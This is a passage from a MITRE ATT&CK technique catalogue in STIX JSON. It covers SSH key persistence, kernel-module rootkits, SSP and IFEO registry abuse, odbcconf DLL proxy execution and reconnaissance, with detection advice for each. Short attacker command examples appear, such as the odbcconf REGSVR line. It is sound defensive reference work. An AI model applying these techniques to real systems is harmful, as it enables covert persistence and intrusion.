"2020-02-21T15:42:25.991Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1003/005", "external_id": "T1003.005"}, {"source_name": "PassLib mscache", "description": "Eli Collins. (2016, November 25). Windows' Domain Cached Credentials v2. Retrieved February 21, 2020.", "url": "https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html"}, {"source_name": "ired mscache", "description": "Mantvydas Baranauskas. (2019, November 16). Dumping and Cracking mscash - Cached Domain Credentials. Retrieved February 21, 2020.", "url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials"}, {"source_name": "Microsoft - Cached Creds", "description": "Microsoft. (2016, August 21). Cached and Stored Credentials Technical Overview. Retrieved February 21, 2020.", "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)"}, {"source_name": "Powersploit", "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", "url": "https://github.com/mattifestation/PowerSploit"}, {"source_name": "Brining MimiKatz to Unix", "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.", "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-10-03T17:38:21.121Z", "name": "SSH Authorized Keys", "description": "Adversaries may modify the SSH <code>authorized_keys</code> file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The <code>authorized_keys</code> file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <code>&lt;user-home&gt;/.ssh/authorized_keys</code>.(Citation: SSH Authorized Keys) Users may edit the system\u2019s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value \u201cyes\u201d to ensure public key and RSA authentication are enabled. The SSH config file is usually located under <code>/etc/ssh/sshd_config</code>.\n\nAdversaries may modify SSH <code>authorized_keys</code> files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI\u2019s \u201cadd-metadata\u201d command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. \n\nSSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Tony Lambert, Red Canary", "Dror Alon, Palo Alto Networks", "Or Kliger, Palo Alto Networks", "Austin Clark, @c2defense", "Arad Inbar, Fidelis Security"], "x_mitre_deprecated": false, "x_mitre_detection": "Use file integrity monitoring to detect changes made to the <code>authorized_keys</code> file for each user on a system. Monitor for suspicious processes modifying the <code>authorized_keys</code> file. In cloud environments, monitor instances for modification of metadata and configurations.\n\nMonitor for changes to and suspicious processes modifiying <code>/etc/ssh/sshd_config</code>.\n\nFor network infrastructure devices, collect AAA logging to monitor for rogue SSH keys being added to accounts.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "IaaS", "Network"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation", "File: File Modification"], "type": "attack-pattern", "id": "attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4", "created": "2020-06-24T12:42:35.144Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1098/004", "external_id": "T1098.004"}, {"source_name": "Venafi SSH Key Abuse", "description": "Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24, 2020.", "url": "https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities"}, {"source_name": "Google Cloud Privilege Escalation", "description": "Chris Moberly. (2020, February 12). Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments. Retrieved April 1, 2022.", "url": "https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/"}, {"source_name": "cisco_ip_ssh_pubkey_ch_cmd", "description": "Cisco. (2021, August 23). ip ssh pubkey-chain. Retrieved July 13, 2022.", "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/d1/sec-d1-cr-book/sec-cr-i3.html#wp1254331478"}, {"source_name": "Cybereason Linux Exim Worm", "description": "Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting Linux Exim Server Vulnerability. Retrieved June 24, 2020.", "url": "https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability"}, {"source_name": "Google Cloud Add Metadata", "description": "Google Cloud. (2022, March 31). gcloud compute instances add-metadata. Retrieved April 1, 2022.", "url": "https://cloud.google.com/sdk/gcloud/reference/compute/instances/add-metadata"}, {"source_name": "Azure Update Virtual Machines", "description": "Microsoft. (n.d.). Virtual Machines - Update. Retrieved April 1, 2022.", "url": "https://docs.microsoft.com/en-us/rest/api/compute/virtual-machines/update"}, {"source_name": "SSH Authorized Keys", "description": "ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June 24, 2020.", "url": "https://www.ssh.com/ssh/authorized_keys/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Jeremy Galloway", "Red Canary"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5", "type": "attack-pattern", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1215", "url": "https://attack.mitre.org/techniques/T1215"}, {"source_name": "Linux Kernel Programming", "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf", "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018."}, {"url": "http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html", "description": "Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018.", "source_name": "Linux Kernel Module Programming Guide"}, {"url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html", "description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.", "source_name": "Volatility Phalanx2"}, {"url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/", "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.", "source_name": "CrowdStrike Linux Rootkit"}, {"url": "https://github.com/f0rb1dd3n/Reptile", "description": "Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.", "source_name": "GitHub Reptile"}, {"url": "https://github.com/m0nad/Diamorphine", "description": "Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.", "source_name": "GitHub Diamorphine"}, {"url": "http://www.megasecurity.org/papers/Rootkits.pdf", "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018.", "source_name": "iDefense Rootkit Overview"}, {"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.", "source_name": "RSAC 2015 San Francisco Patrick Wardle"}, {"url": "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/", "description": "Wardle, P. (2017, September 8). High Sierra\u2019s \u2018Secure Kernel Extension Loading\u2019 is Broken. Retrieved April 6, 2018.", "source_name": "Synack Secure Kernel Extension Broken"}, {"url": "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/", "description": "Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.", "source_name": "Securelist Ventir"}, {"url": "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux", "description": "Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.", "source_name": "Wikipedia Loadable Kernel Module"}, {"url": "http://tldp.org/HOWTO/Module-HOWTO/x197.html", "description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018.", "source_name": "Linux Loadable Kernel Module Insert and Remove LKMs"}], "modified": "2021-03-30T00:59:53.427Z", "name": "Kernel Modules and Extensions", "description": "Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)\u00a0When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide)\u00a0Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)\n\nCommon features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)", "kill_chain_phases": [{"phase_name": "persistence", "kill_chain_name": "mitre-attack"}], "x_mitre_detection": "LKMs are typically loaded into <code>/lib/modules</code> and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nMany LKMs require Linux headers (specific to the target kernel) in order to compile properly.\u00a0\nThese are typically obtained through the operating systems package manager and installed like a normal package.\n\nAdversaries will likely run these commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview)\n\nOn Ubuntu and Debian based systems this can be accomplished by running: <code>apt-get install linux-headers-$(uname -r)</code>\n\nOn RHEL and CentOS based systems this can be accomplished by running: <code>yum install kernel-devel-$(uname -r)</code>\n\nLoading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:<code>modprobe insmod lsmod rmmod modinfo</code> (Citation: Linux Loadable Kernel Module Insert and Remove LKMs)\n\nFor macOS, monitor for execution of <code>kextload</code> commands and correlate with other unknown or suspicious activity.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["root"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446", "type": "attack-pattern", "created": "2017-05-31T21:31:13.447Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1101", "url": "https://attack.mitre.org/techniques/T1101"}, {"url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", "source_name": "Graeber 2014"}, {"url": "https://technet.microsoft.com/en-us/library/dn408187.aspx", "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.", "source_name": "Microsoft Configure LSA"}], "modified": "2020-01-24T17:35:47.598Z", "name": "Security Support Provider", "description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413", "type": "attack-pattern", "created": "2020-10-02T16:01:35.350Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1590.006", "url": "https://attack.mitre.org/techniques/T1590/006"}, {"source_name": "Nmap Firewalls NIDS", "url": "https://nmap.org/book/firewalls.html", "description": "Nmap. (n.d.). Chapter 10. Detecting and Subverting Firewalls and Intrusion Detection Systems. Retrieved October 20, 2020."}], "modified": "2021-04-15T03:31:54.275Z", "name": "Network Security Appliances", "description": "Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Oddvar Moe, @oddvarmoe"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6", "type": "attack-pattern", "created": "2020-01-24T15:05:58.384Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1546.012", "url": "https://attack.mitre.org/techniques/T1546/012"}, {"url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/", "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.", "source_name": "Microsoft Dev Blog IFEO Mar 2010"}, {"url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview", "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.", "source_name": "Microsoft GFlags Mar 2017"}, {"url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit", "description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.", "source_name": "Microsoft Silent Process Exit NOV 2017"}, {"url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", "description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.", "source_name": "Oddvar Moe IFEO APR 2018"}, {"url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/", "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.", "source_name": "Tilbury 2014"}, {"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "source_name": "Elastic Process Injection July 2017"}, {"url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml", "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.", "source_name": "FSecure Hupigon"}, {"url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2", "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.", "source_name": "Symantec Ushedix June 2008"}], "modified": "2020-11-10T18:29:31.112Z", "name": "Image File Execution Options Injection", "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., <code>C:\\dbg\\ntsd.exe -g  notepad.exe</code>). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<executable></code> where <code>&lt;executable&gt;</code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code>. (Citation: Elastic Process Injection July 2017)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Command: Command Execution", "Windows Registry: Windows Registry Key Modification", "Process: Process Creation"], "x_mitre_permissions_required": ["Administrator", "SYSTEM"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071", "type": "attack-pattern", "created": "2020-01-24T15:01:32.917Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1218.008", "url": "https://attack.mitre.org/techniques/T1218/008"}, {"source_name": "Microsoft odbcconf.exe", "url": "https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017", "description": "Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March 7, 2019."}, {"source_name": "LOLBAS Odbcconf", "url": "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", "description": "LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019."}, {"source_name": "TrendMicro Squiblydoo Aug 2017", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/", "description": "Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August 7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses. Retrieved March 7, 2019."}, {"source_name": "TrendMicro Cobalt Group Nov 2017", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/", "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019."}], "modified": "2022-03-11T18:52:49.877Z", "name": "Odbcconf", "description": "Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.\n\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S /A &lbrace;REGSVR \"C:\\Users\\Public\\file.dll\"&rbrace;</code>). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of odbcconf.exe. Compare recent invocations of odbcconf.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of odbcconf.exe may also be useful in determining the origin and purpose of the DLL being loaded.", "x_mitre_is_subtechnique": true, "x_mitre_version": "2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation", "Module: Module Load"], "x_mitre_defense_bypassed": ["Digital Certificate Validation", "Application control"], "x_mitre_permissions_required": ["User"]}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968", "type": "attack-pattern", "created": "2020-10-02T16:50:12.809Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1593.002", "url": "https://attack.mitre.org/techniques/T1593/002"}, {"source_name": "SecurityTrails Google Hacking", "url": "https://securitytrails.com/blog/google-hacking-techniques", "description": "Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020."}, {"source_name": "ExploitDB GoogleHacking", "url": "https://www.exploit-db.com/google-hacking-database", "description": "Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020."}], "modified": "2021-04-15T03:52:06.960Z", "name": "Search Engines", "description": "Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Vincent Le Toux"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352", "type": "attack-pattern", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1177", "url": "https://attack.mitre.org/techniques/T1177"}, {"url": "https://technet.microsoft.com/library/cc961760.aspx", "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.", "source_name": "Microsoft Security Subsystem"}, {"url": "https://technet.microsoft.com/library/dn408187.aspx", "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.", "source_name": "Microsoft LSA Protection Mar 2014"}, {"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "source_name": "TechNet Autoruns"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx", "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.", "source_name": "Microsoft DLL Security"}], "modified": "2020-01-24T18:50:28.846Z", "name": "LSASS Driver", "description": "The Windows security 